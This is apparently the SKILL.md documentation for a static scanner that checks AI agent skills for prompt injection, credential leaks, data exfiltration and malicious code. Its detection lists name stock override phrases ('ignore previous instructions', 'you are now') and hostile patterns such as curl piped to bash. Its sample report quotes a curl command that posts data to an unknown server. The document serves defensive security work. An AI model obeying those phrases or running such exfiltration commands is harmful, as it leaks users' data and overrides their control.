Skill Scanner

A security scanner that analyzes AI agent skills for vulnerabilities, malicious behavior, and supply-chain risks before you install them.

Overview

AI agent skills are powerful — they extend what agents can do by providing instructions, scripts, and tool integrations. But that power comes with serious risk. Research from Snyk, Cisco, VirusTotal, and others has shown that a significant percentage of community-published skills contain critical security flaws, from exposed credentials to outright malware delivery.

This skill scans SKILL.md files and their associated scripts/resources to detect threats before they reach your system.

When to Use This Skill

• Before installing any community skill from ClawHub, skills.sh, or GitHub
• When reviewing a pull request that adds or modifies a skill
• To audit skills already installed in your agent environment
• When a user shares a SKILL.md and asks "is this safe?"
• For periodic security audits of your skill library

Quick Start

To scan a skill, run:

bash
python3 scripts/scan_skill.py /path/to/skill-directory

Or scan just a SKILL.md file:

bash
python3 scripts/scan_skill.py /path/to/SKILL.md

Or scan from a URL:

bash
python3 scripts/scan_skill.py --url https://raw.githubusercontent.com/user/repo/main/skills/my-skill/SKILL.md

The scanner outputs a structured JSON report and a human-readable summary.

What It Detects

The scanner uses a multi-layer detection approach across five security categories:

1. Prompt Injection Detection

• Direct injection patterns ("ignore previous instructions", "override system prompt")
• Indirect injection via fetched content (URLs in instructions that could be modified)
• Role manipulation ("you are now", "act as", "pretend to be")
• Safety bypass attempts ("do not refuse", "skip safety checks", "ignore guidelines")
• Hidden instruction embedding (Unicode tricks, zero-width characters, base64 in markdown)

2. Credential & Data Exposure

• Hardcoded API keys, tokens, passwords in SKILL.md or scripts
• Instructions that tell agents to pass credentials through the LLM context window
• Patterns that log, print, or output secrets in plaintext
• Environment variable harvesting ($API_KEY, $SECRET, .env file access)
• OAuth token handling without proper scoping

3. Data Exfiltration & Network Risks

• Outbound HTTP/curl calls to unknown or suspicious domains
• Silent network requests (requests without user notification)
• Webhook/callback patterns that send data to external servers
• DNS exfiltration patterns
• Base64-encoded URLs or obfuscated endpoints

4. Malicious Code Execution

• Shell command injection (eval, exec, subprocess with user input)
• Remote code download and execution patterns
• Binary download instructions (wget/curl piped to sh/bash)
• Obfuscated scripts (base64 decode | bash, encoded payloads)
• File system manipulation (writing to startup dirs, cron jobs, PATH modification)
• Package installation from untrusted sources

5. Supply-Chain & Trust Issues

• Remote markdown fetching (instructions loaded from external URLs)
• Dependency on unverified packages or repos
• Version pinning issues (unpinned dependencies that can be hijacked)
• Typosquatting indicators (skill names similar to popular skills)
• Missing or suspicious author metadata

Severity Levels

Each finding is classified:

| Level | Meaning | Action | |-------|---------|--------| | 🔴 CRITICAL | Active malware, confirmed exfiltration, or remote code execution | Do NOT install. Report immediately. | | 🟠 HIGH | Credential exposure, suspicious shell commands, silent network calls | Do not install without thorough manual review. | | 🟡 MEDIUM | Remote content fetching, broad permissions, unverified dependencies | Review carefully. Understand the risk before proceeding. | | 🔵 LOW | Minor hygiene issues, missing metadata, best-practice violations | Note and fix when possible. | | ✅ INFO | Observations and context, not vulnerabilities | No action needed. |

Scan Output

The scanner produces two outputs:

1. JSON Report (scan-report.json)

json
{
  "skill_name": "example-skill",
  "scan_timestamp": "2026-02-10T12:00:00Z",
  "overall_risk": "HIGH",
  "total_findings": 5,
  "findings_by_severity": {
    "CRITICAL": 0,
    "HIGH": 2,
    "MEDIUM": 2,
    "LOW": 1
  },
  "findings": [
    {
      "id": "EXFIL-001",
      "severity": "HIGH",
      "category": "data_exfiltration",
      "title": "Silent outbound HTTP request to unknown domain",
      "description": "SKILL.md instructs the agent to send a curl request to https://unknown-server.com/collect without informing the user.",
      "file": "SKILL.md",
      "line": 42,
      "evidence": "curl -s https://unknown-server.com/collect -d \"$DATA\"",
      "recommendation": "Remove or replace with a known, trusted endpoint. Ensure all network calls are transparent to the user."
    }
  ],
  "files_scanned": ["SKILL.md", "scripts/setup.sh", "scripts/helper.py"],
  "scan_duration_ms": 340
}

2. Human-Readable Summary

Printed to stdout with color-coded severity and actionable recommendations.

Workflow

When a user asks you to scan a skill:

1. Locate the skill — Identify the SKILL.md and any associated files (scripts/, references/, assets/)
2. Run the scanner — Execute scripts/scan_skill.py on the skill directory
3. Review findings — Read the JSON report and summarize findings for the user
4. Provide recommendations — Based on severity, advise the user on whether to install, review further, or reject
5. If CRITICAL findings — Strongly advise against installation and explain the specific threat

Integration with CI/CD

The scanner can be integrated into GitHub Actions or any CI pipeline:

yaml
- name: Scan Skills
  run: |
    python3 skill-scanner/scripts/scan_skill.py ./skills/ --recursive --format json --output scan-results.json
    python3 skill-scanner/scripts/scan_skill.py ./skills/ --recursive --fail-on high

Use --fail-on <severity> to fail the pipeline if findings at or above that severity are detected.

Limitations

This scanner is a first line of defense, not a silver bullet:

• It uses pattern matching and heuristics — sophisticated obfuscation may evade detection
• It cannot evaluate runtime behavior (only static analysis)
• It does not replace manual code review for high-risk skills
• Natural language prompt injection payloads may require LLM-based semantic analysis (future enhancement)

For maximum security, combine this scanner with manual review, sandboxed execution, and network monitoring.

References

• references/detection-rules.md — Full catalog of detection patterns and rule IDs
• scripts/scan_skill.py — Main scanner script
• scripts/rules.py — Detection rules engine